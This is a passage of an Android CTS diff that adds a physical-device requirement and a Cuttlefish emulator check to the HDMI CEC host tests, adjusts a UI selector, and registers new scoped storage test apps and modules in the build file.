+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
@@ -55,6 +55,7 @@ public class HdmiCecDeviceSelectForPlaybackTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
index 444b0bdbd6e..6a92d5254b1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecGeneralProtocolTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index 7a8e3d418c2..29a7c30fd89 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -56,6 +56,7 @@ public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
index 5b361be5876..1460768f1e3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
@@ -67,6 +67,7 @@ public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
index dad1800de87..4a64e5c63a0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index fc5ea0cad84..7ad69634cfd 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -49,6 +49,7 @@ public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
index 3469beb5bd3..5e4401d5f9b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSoundbarModeTest.java
@@ -46,6 +46,7 @@ public class HdmiCecSoundbarModeTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresArcSupport(this, true))
.around(CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
index d9f0b95d1b5..f75218cf1b8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
@@ -25,10 +25,10 @@ import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
import java.util.concurrent.TimeUnit;
@@ -40,6 +40,7 @@ public final class HdmiCecStandbyTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index f0fbd1e5b98..701b6d74647 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -44,6 +44,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index bd56af97e87..3e7ca551e24 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -33,8 +33,6 @@ import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.concurrent.TimeUnit;
-
/** HDMI CEC system information tests (Section 11.2.6) */
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -43,6 +41,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
index 14700a13493..89056594eb0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecTvPowerToggleTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecTvPowerToggleTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
index b9b21eb3607..6b05e181c9b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecWakeupTest.java
@@ -40,6 +40,7 @@ public final class HdmiCecWakeupTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
index 470937486fd..fcdac7c3b56 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/targetprep/CecPortDiscoverer.java
@@ -36,12 +36,12 @@ import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
+import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
-import java.io.IOException;
import java.util.ArrayList;
-import java.util.concurrent.TimeUnit;
import java.util.List;
+import java.util.concurrent.TimeUnit;
/* Sets up the CEC tests by discovering which port the CEC adapter connected to */
public class CecPortDiscoverer extends BaseTargetPreparer {
@@ -68,7 +68,8 @@ public class CecPortDiscoverer extends BaseTargetPreparer {
throws TargetSetupError, DeviceNotAvailableException {
ITestDevice device = testInfo.getDevice();
if (!device.hasFeature("feature:android.hardware.hdmi.cec")
- || !device.hasFeature("feature:android.software.leanback")) {
+ || !device.hasFeature("feature:android.software.leanback")
+ || isTvEmulator(device)) {
// We are testing non-HDMI devices, so don't check for adapter availability
return;
}
@@ -80,6 +81,18 @@ public class CecPortDiscoverer extends BaseTargetPreparer {
}
}
+ /**
+ * Check if the DUT is an emulator.
+ * @param device The DUT.
+ * @return true If the DUT is an emulator.
+ * @throws DeviceNotAvailableException
+ */
+ public static boolean isTvEmulator(ITestDevice device) throws DeviceNotAvailableException {
+ return !device.executeShellCommand("getprop " + HdmiCecConstants.PROPERTY_BUILD_FINGERPRINT
+ + " | grep \"cf_x86\"")
+ .isEmpty();
+ }
+
/** {@inheritDoc} */
@Override
public void tearDown(TestInformation testInfo, Throwable e) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
index 77dbcb27ed3..c958ec5d684 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAbsoluteVolumeControlFollowerTest.java
@@ -46,6 +46,7 @@ public class HdmiCecAbsoluteVolumeControlFollowerTest extends BaseHdmiCecCtsTest
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
index a368bdf4ea1..0511e99769e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAudioReturnChannelControlTest.java
@@ -47,6 +47,7 @@ public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTe
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
index 6cba5d1c395..b0ed919398b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecAvbToAudioSystemTest.java
@@ -54,6 +54,7 @@ public class HdmiCecAvbToAudioSystemTest extends BaseHdmiCecAbsoluteVolumeBehavi
public RuleChain ruleChain =
RuleChain.outerRule(BaseHdmiCecCtsTest.CecRules.requiresCec(this))
.around(BaseHdmiCecCtsTest.CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
BaseHdmiCecCtsTest.CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
index 0aa21b8ab23..1658bf4696c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecGeneralProtocolTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
index 605ecee84e0..c933a3c67a8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRemoteControlPassThroughTest.java
@@ -55,6 +55,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
index 55723a447d1..8033459f66e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecRoutingControlTest.java
@@ -47,6 +47,7 @@ public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
index 54c296e8270..929be019e09 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
@@ -44,6 +44,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
index 83b7c4ba767..9da2e346cd7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
@@ -41,6 +41,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
index 7ee413a9d3a..86f1a9e26e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
@@ -60,6 +60,7 @@ public class HdmiCecTvOneTouchPlayTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
index 2ab3c24c6aa..9981fe67564 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
@@ -45,6 +45,7 @@ public class HdmiCecTvStandbyTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
.around(hdmiCecClient);
diff --git a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
index 99f7e5b0581..ef1181da97a 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
+++ b/hostsidetests/packagemanager/dynamicmime/test/src/android/dynamicmime/testapp/preferred/PreferredActivitiesTest.java
@@ -63,8 +63,8 @@ public class PreferredActivitiesTest extends BaseDynamicMimeTest {
private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
- private static final String BUTTON_ALWAYS_RES_ID = "android:id/button_always";
- private static final BySelector BUTTON_ALWAYS = By.res(BUTTON_ALWAYS_RES_ID);
+ private static final String BUTTON_ALWAYS_RES_ID = ".*:id/button_always.*";
+ private static final BySelector BUTTON_ALWAYS = By.res(Pattern.compile(BUTTON_ALWAYS_RES_ID));
private static final UiSelector BUTTON_ALWAYS_UI_SELECTOR =
new UiSelector().resourceId(BUTTON_ALWAYS_RES_ID);
private static final BySelector RESOLVER_DIALOG = By.res(Pattern.compile(".*:id/contentPanel.*"));
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index a919d1b1e63..3f911187a8d 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -304,6 +304,85 @@ android_test_helper_app {
],
}
+android_test_helper_app {
+ name: "CtsScopedStorageGeneralTestOnlyApp",
+ manifest: "ScopedStorageTestHelper/TestAppGeneralOnly.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppELegacy",
+ manifest: "ScopedStorageTestHelper/TestAppELegacy.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "28",
+ min_sdk_version: "28",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE",
+ manifest: "ScopedStorageTestHelper/TestAppE.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE30",
+ manifest: "ScopedStorageTestHelper/TestAppE30.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "30",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsScopedStorageTestAppE30FileManager",
+ manifest: "ScopedStorageTestHelper/TestAppE30FileManager.xml",
+ static_libs: ["cts-scopedstorage-lib"],
+ sdk_version: "test_current",
+ target_sdk_version: "30",
+ min_sdk_version: "29",
+ srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+ // Tag as a CTS artifact
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+}
+
java_test_host {
name: "CtsScopedStorageCoreHostTest",
srcs: [
@@ -481,6 +560,8 @@ android_test {
":CtsScopedStorageTestAppSystemGallery30BypassDB",
":CtsTestAppWithQueryAllPackagesPermission",
":CtsTestAppWithQueriesTag",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
],
data: [
":CtsScopedStorageTestAppFileManager",
@@ -489,6 +570,139 @@ android_test {
":CtsScopedStorageTestAppDLegacy",
":CtsTestAppWithQueryAllPackagesPermission",
":CtsTestAppWithQueriesTag",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageBypassDatabaseOperationsTest",
+ manifest: "bypassdatabase/AndroidManifest.xml",
+ test_config: "bypassdatabase/AndroidTest.xml",
+ srcs: ["bypassdatabase/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppSystemGalleryBypassDB",
+ ":CtsScopedStorageTestAppE30",
+ ":CtsScopedStorageTestAppE30FileManager",
+ ":CtsScopedStorageTestAppSystemGallery30BypassDB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppFileManagerBypassDB",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageGeneralTest",
+ manifest: "general/AndroidManifest.xml",
+ test_config: "general/AndroidTest.xml",
+ srcs: ["general/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":CtsScopedStorageGeneralTestOnlyApp",
+ ":CtsScopedStorageTestAppE",
+ ":CtsScopedStorageTestAppELegacy",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppA",
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppFileManager",
+ ":CtsScopedStorageTestAppDLegacy",
+ ":CtsScopedStorageGeneralTestOnlyApp",
+ ":CtsScopedStorageTestAppE",
+ ":CtsScopedStorageTestAppELegacy",
+ ],
+ per_testcase_directory: true,
+}
+
+android_test {
+ name: "CtsScopedStorageRedactUriTest",
+ manifest: "redacturi/AndroidManifest.xml",
+ test_config: "redacturi/AndroidTest.xml",
+ srcs: ["redacturi/**/*.java"],
+ static_libs: [
+ "truth",
+ "cts-scopedstorage-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "modules-utils-build_system",
+ ],
+ compile_multilib: "both",
+ test_suites: [
+ "general-tests",
+ "mts-mediaprovider",
+ "cts",
+ ],
+ sdk_version: "test_current",
+ target_sdk_version: "33",
+ min_sdk_version: "29",
+ libs: [
+ "android.test.base",
+ "android.test.mock",
+ "android.test.runner",
+ ],
+ java_resources: [
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppE",
+ ],
+ data: [
+ ":CtsScopedStorageTestAppB",
+ ":CtsScopedStorageTestAppE",
],
per_testcase_directory: true,
}
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml
new file mode 100644
index 00000000000..12e4ae70137
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppE.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
